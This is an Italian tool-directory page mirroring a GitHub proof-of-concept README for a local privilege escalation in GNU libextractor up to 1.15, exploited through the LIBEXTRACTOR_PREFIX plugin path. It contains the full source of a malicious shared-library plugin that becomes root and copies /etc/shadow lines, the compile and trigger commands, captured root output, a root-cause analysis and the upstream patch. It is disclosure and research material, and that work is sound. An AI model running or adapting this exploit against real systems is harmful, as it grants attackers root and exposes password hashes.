Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
libextractor-privesc — Proof-of-concept per CVE-2026-100310, un'escalation locale dei privilegi in GNU libextractor ≤1.15 tramite il percorso di ricerca non attendibile LIBEXTRACTOR_PREFIX, con codice di exploit e analisi della patch. | Kitploit
Strumenti/GitHubGitHub/haitam-lazaar/libextractor-privesc
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitApprendimento e FormazioneSviluppo PayloadBinary Exploitation
GitHubhaitam-lazaar/libextractor-privesc

libextractor-privesc

Proof-of-concept per CVE-2026-100310, un'escalation locale dei privilegi in GNU libextractor ≤1.15 tramite il percorso di ricerca non attendibile LIBEXTRACTOR_PREFIX, con codice di exploit e analisi della patch.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
110h 9m faNon ancora revisionato

CVE-2026-100310: Escalatione di privilegi in GNU libextractor tramite LIBEXTRACTOR_PREFIX

Riepilogo

Il meccanismo di caricamento dei plugin di GNU libextractor utilizza la variabile d'ambiente LIBEXTRACTOR_PREFIX per determinare da dove caricare le librerie condivise (plugin .so). Poiché utilizza getenv() invece di secure_getenv(), questa variabile d'ambiente non viene rimossa quando un processo viene eseguito con privilegi elevati. Un attaccante può impostare LIBEXTRACTOR_PREFIX su una directory malevola, forzando qualsiasi applicazione che carica i plugin di libextractor a eseguire codice arbitrario.

Impatto principale: Escalation di privilegi locale (LPE) a root.

CampoValore
CVECVE-2026-100310
ProdottoGNU libextractor
Versioni interessate>= 0, < 1.16
Versione corretta1.16
CVSS 4.07.3 HIGH (CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)
GravitàHIGH
CWECWE-426 (Untrusted Search Path)
Vettore di attaccoLocale
Privilegi richiestiBassi
Interazione utenteNessuna
CNAVulnCheck
RicercatoreHaitam Lazaar

Nota: Affinché questa vulnerabilità comporti un'Escalation di Privilegi Locale, un amministratore deve aver configurato un binario che si collega a libextractor con il bit setuid. Sebbene libextractor stesso non venga distribuito con un binario setuid, qualsiasi processo privilegiato o demone di sistema che collega dinamicamente questa libreria e non riesce a sanificare manualmente l'ambiente è vulnerabile a un compromesso completo.

Software interessato

  • GNU libextractor ≤ 1.15
  • Qualsiasi binario setuid o demone privilegiato che si collega a libextractor

Proof of Concept (Demo)

Privilege Escalation Demo

L'animazione sopra dimostra l'exploit. L'attaccante compila una libreria condivisa malevola (evil_plugin.c) e la colloca in /tmp/evil_plugins. Eseguendo un binario setuid che utilizza libextractor e anteponendo al comando LIBEXTRACTOR_PREFIX=/tmp/evil_plugins, il linker dinamico carica il plugin malevolo con privilegi elevati. Questo esegue immediatamente comandi arbitrari come root, come dimostrato scrivendo l'output di id e il file protetto /etc/shadow in /tmp/privesc_proof.

Scenario di attacco ed exploitation

La vulnerabilità viene principalmente attivata sfruttando la variabile d'ambiente LIBEXTRACTOR_PREFIX.

(Nota: libextractor contiene anche fallback secondari non sicuri che utilizzano /proc/PID/maps e directory PATH scrivibili, ma l'iniezione della variabile d'ambiente è il vettore di attacco più diretto e affidabile).

Codice Proof of Concept

root@kitploit:~
/*
 * evil_plugin.c — Malicious libextractor plugin for privilege escalation
 * Compile: gcc -shared -fPIC -o libextractor_ole2.so evil_plugin.c
 *
 * Place in a directory and set LIBEXTRACTOR_PREFIX to that directory.
 * When any setuid application loads the OLE2 plugin, this constructor
 * escalates to full root (uid=0, gid=0) and runs arbitrary commands.
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void pwn(void) {
    /* Escalate: euid=0 allows setuid(0) which sets real uid=0 */
    setuid(0);
    setgid(0);

    /* Now running as full root — shell commands work */
    system("echo '=== PRIVILEGE ESCALATION PROOF ===' > /tmp/privesc_proof");
    system("id >> /tmp/privesc_proof");
    system("echo '' >> /tmp/privesc_proof");
    system("echo '--- /etc/shadow (root-only) ---' >> /tmp/privesc_proof");
    system("head -3 /etc/shadow >> /tmp/privesc_proof");
}

int _EXTRACTOR_ole2_extract_method = 0;

Attivazione dell'exploit

Testato su Ubuntu 24.04 con libextractor 1.14:

root@kitploit:~
# 1. Compile the malicious plugin
mkdir -p /tmp/evil_plugins
gcc -shared -fPIC -o /tmp/evil_plugins/libextractor_ole2.so evil_plugin.c

# 2. Simulate the misconfigured (setuid) target binary
sudo chown root:root /usr/local/bin/extract
sudo chmod u+s /usr/local/bin/extract

# 3. Trigger the exploit as an unprivileged user
rm -f /tmp/privesc_proof
LIBEXTRACTOR_PREFIX=/tmp/evil_plugins /usr/local/bin/extract testfile.doc

Verifica (Root completo)

root@kitploit:~
$ cat /tmp/privesc_proof
=== PRIVILEGE ESCALATION PROOF ===
uid=0(root) gid=0(root) groups=0(root),1000(user)

--- /etc/shadow (root-only) ---
root:!:20223:0:99999:7:::
daemon:*:19977:0:99999:7:::
bin:*:19977:0:99999:7:::

Causa principale

In src/main/extractor_plugpath.c, la funzione get_installation_paths() chiama la getenv() standard:

root@kitploit:~
if (NULL != (p = getenv("LIBEXTRACTOR_PREFIX")))

Poiché non utilizza secure_getenv(), il linker dinamico non rimuove questa variabile quando il binario viene eseguito con privilegi elevati (a differenza di LD_PRELOAD o LD_LIBRARY_PATH). lt_dlopenadvise() carica quindi ciecamente libextractor_<name>.so dal percorso controllato dall'attaccante.

Patch ufficiale (libextractor 1.16)

Il maintainer ha corretto questo problema nella versione 1.16 sostituendo getenv() con secure_getenv(), che restituisce NULL quando il processo viene eseguito con privilegi elevati (euid != uid).

root@kitploit:~
-  if (NULL != (p = getenv ("LIBEXTRACTOR_PREFIX")))
+  if (NULL != (p = secure_getenv ("LIBEXTRACTOR_PREFIX")))

Riferimenti

  • CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-100310
  • VulnCheck Advisory: https://www.vulncheck.com/advisories/gnu-libextractor-before-1.16-privilege-escalation-via-libextractor-prefix
  • Upstream Patch Commit: https://git.gnunet.org/gnunet/libextractor/commit/6edfa653c048800e24a17f7e8cc2bb42659b8d01.html
  • Product Releases: https://ftp.gnu.org/gnu/libextractor/
  • Product: https://www.gnu.org/software/libextractor/

Crediti

Scoperto da me (Haitam Lazaar) durante la mia ricerca di sicurezza indipendente.

Ringraziamenti

Un ringraziamento speciale a Christian Grothoff, il maintainer di GNU libextractor, per il suo triage incredibilmente rapido, la comunicazione professionale e il rapido rilascio di patch (v1.15, v1.16 e v1.17) per risolvere questa e diverse altre problematiche di sicurezza della memoria segnalate durante questo audit.

Licenza

La mia ricerca è fornita per scopi educativi e difensivi. Usare in modo responsabile.

Scarica lo strumento